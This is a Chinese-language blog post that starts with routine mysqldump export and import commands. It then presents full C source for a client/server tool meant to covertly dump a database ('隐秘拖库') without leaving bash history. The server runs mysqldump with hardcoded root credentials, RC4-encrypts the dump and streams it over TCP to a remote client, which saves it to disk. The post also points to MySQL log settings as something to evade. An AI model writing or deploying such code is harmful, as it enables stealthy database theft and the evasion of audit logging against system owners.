Home C/C++ mysqldump转存数据库

首先需要保证两个数据库的字符编码相同,查看命令:

show variables like ‘char%’;

若不相同用以下命令设置字符编码:

set character set latin1;

导出数据库用以下命令:

mysqldump -uroot -p12345 -hlocalhost –default-character-set=latin1 –databases dbName > dbName.sql

导入数据库:

mysql -uroot -p12345 -hlocalhost < dbName.sql


若想隐秘拖库而不被记录下执行命令,可以使用下面的程序,基于C/S结构,Server负责dump数据库,client保存数据库。

注意,这里指的是bash下记录的命令,mysql中的查询语句依旧可能被记录,查看mysql开启的日志功能用以下命令:

show variables like ‘log_%’; 

程序代码如下:

/*———Server———-*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <limits.h>
#include <fcntl.h>

unsigned char box[256];
char *key = “1c65f5224e5319a19bc1b24aa221e00a”;

typedef struct
{
    int fin;
    int len;
    char rawData[5000];
} PROTO;

void rc4_init(unsigned char *s, unsigned char *key, unsigned long key_len)
{
    int i = 0, j = 0;
    char k[256] = {0};
    unsigned char tmp = 0;

    for(i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % key_len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char *_s, unsigned char *Data, unsigned long data_len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    unsigned char s[256];

    memcpy(s,_s,sizeof(s)*sizeof(unsigned char));

    for(k = 0; k < data_len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    int pid;
    int exiVal;
    FILE *file = NULL;
    PROTO sendPkt;
    struct sockaddr_in servAddr, clientAddr;
    int listenSoc, clientSoc, addrLen;

    int inPipe[2], outPipe[2], errPipe[2];
char readBuf[PIPE_BUF + 1];
int readSize;
struct timeval timeo;
fd_set fdRead;

    rc4_init(box, key, strlen(key));
    memset(&servAddr, 0x00, sizeof(servAddr));
    memset(&clientAddr, 0x00, sizeof(clientAddr));

    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = INADDR_ANY;
    servAddr.sin_port = htons(7437);

    //////////////////////////////////////////////////////////////////////////////////////////
    listenSoc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(listenSoc < 0)
    {
        puts(“1”);
        return -1;
    }

    if(bind(listenSoc, (struct sockaddr *)&servAddr, sizeof(servAddr)) != 0)
    {
        puts(“2”);
        return -2;
    }

    if(listen(listenSoc, SOMAXCONN) != 0)
    {
        puts(“3”);
        return -3;
    }

    addrLen = sizeof(servAddr);
    clientSoc = accept(listenSoc, (struct sockaddr *)&clientAddr, &addrLen);
    if(clientSoc < 0)
    {
        puts(“4”);
        return -4;
    }

    //////////////////////////////////////////////////////////////////////////////////////////
pipe(outPipe);
    pid = fork();
    if(pid == 0)
    {
dup2(outPipe[1], STDOUT_FILENO);
close(outPipe[0]);

        execl(“/usr/bin/mysqldump”, “/usr/bin/mysqldump”, “-uroot”, “-p12345”, “-hlocalhost”, \
        “–default-character-set=latin1”, “–databases”, “dbName”);
        exit(0);
    }
    close(outPipe[1]);

    //////////////////////////////////////////////////////////////////////////////////////////
    while(1)
{
memset(&timeo, 0x00, sizeof(timeo));
timeo.tv_sec = 2;

FD_ZERO(&fdRead);
FD_SET(outPipe[0], &fdRead);
if(select(outPipe[0] + 1, &fdRead, NULL, NULL, &timeo) <= 0)
{
if(waitpid(pid, &exiVal, WNOHANG) > 0)
{
memset(&sendPkt, 0x00, sizeof(sendPkt));
sendPkt.fin = 1;
if(send(clientSoc, (char *)&sendPkt, sizeof(sendPkt), 0) <= 0)
       {
           puts(“dis”);
           return -1;
       }
        return 0;
}
continue;
}

if(FD_ISSET(outPipe[0], &fdRead))
{
memset(readBuf, 0x00, sizeof(readBuf));
memset(&sendPkt, 0x00, sizeof(sendPkt));
if((readSize = read(outPipe[0], readBuf, sizeof(readBuf) – 1)) <= 0)
{
memset(&sendPkt, 0x00, sizeof(sendPkt));
sendPkt.fin = 1;
if(send(clientSoc, (char *)&sendPkt, sizeof(sendPkt), 0) <= 0)
       {
           puts(“dis”);
           return -1;
       }
        return 0;
}

if(readSize > sizeof(sendPkt.rawData))
{
puts(“overflow”);
return -1;
}
memcpy(sendPkt.rawData, readBuf, readSize);
sendPkt.len = readSize;
rc4_crypt(box, sendPkt.rawData, sendPkt.len);
       if(send(clientSoc, (char *)&sendPkt, sizeof(sendPkt), 0) <= 0)
       {
           puts(“dis”);
           return -1;
       }
}
}

    return 0;
}

/*———Client———-*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

unsigned char box[256];
char *key = “1c65f5224e5319a19bc1b24aa221e00a”;

typedef struct
{
    int fin;
    int len;
    char rawData[5000];
} PROTO;

void rc4_init(unsigned char *s, unsigned char *key, unsigned long key_len)
{
    int i = 0, j = 0;
    char k[256] = {0};
    unsigned char tmp = 0;

    for(i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % key_len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char *_s, unsigned char *Data, unsigned long data_len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    unsigned char s[256];

    memcpy(s,_s,sizeof(s)*sizeof(unsigned char));

    for(k = 0; k < data_len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    FILE *file = NULL;
    PROTO recvPkt;
    struct sockaddr_in servAddr;
    int clientSoc, recvLen, totalLen;

    memset(&servAddr, 0x00, sizeof(servAddr));

    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(“1.1.1.1”);
    servAddr.sin_port = htons(7437);

    //////////////////////////////////////////////////////////////////////////////////////////
    clientSoc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(clientSoc < 0)
    {
        puts(“1”);
        return -1;
    }

    if(connect(clientSoc, (struct sockaddr *)&servAddr, sizeof(servAddr)) != 0)
    {
        puts(“2”);
        return -2;
    }

    //////////////////////////////////////////////////////////////////////////////////////////
    rc4_init(box, key, strlen(key));
    file = fopen(“dbName.sql”, “wb”);
    if(file == NULL)
    {
        printf(“error\n”);
        return -1;
    }

    //////////////////////////////////////////////////////////////////////////////////////////
    while(1)
    {
        memset(&recvPkt, 0x00, sizeof(recvPkt));
        totalLen = sizeof(recvPkt);
        while(totalLen > 0)
        {
            recvLen = recv(clientSoc, (char *)&recvPkt + (sizeof(recvPkt) – totalLen), totalLen, 0);
            if(recvLen <= 0)
            {
                puts(“disconnect”);
                return -1;
            }
            totalLen -= recvLen;
        }

        rc4_crypt(box, recvPkt.rawData, recvPkt.len);
        fwrite(recvPkt.rawData, sizeof(char), recvPkt.len, file);
        if(recvPkt.fin) break;
    }
    fclose(file);

    return 0;
}

打赏
0 comment

You may also like

Leave a Comment

*

code

error: Alert: Content is protected !!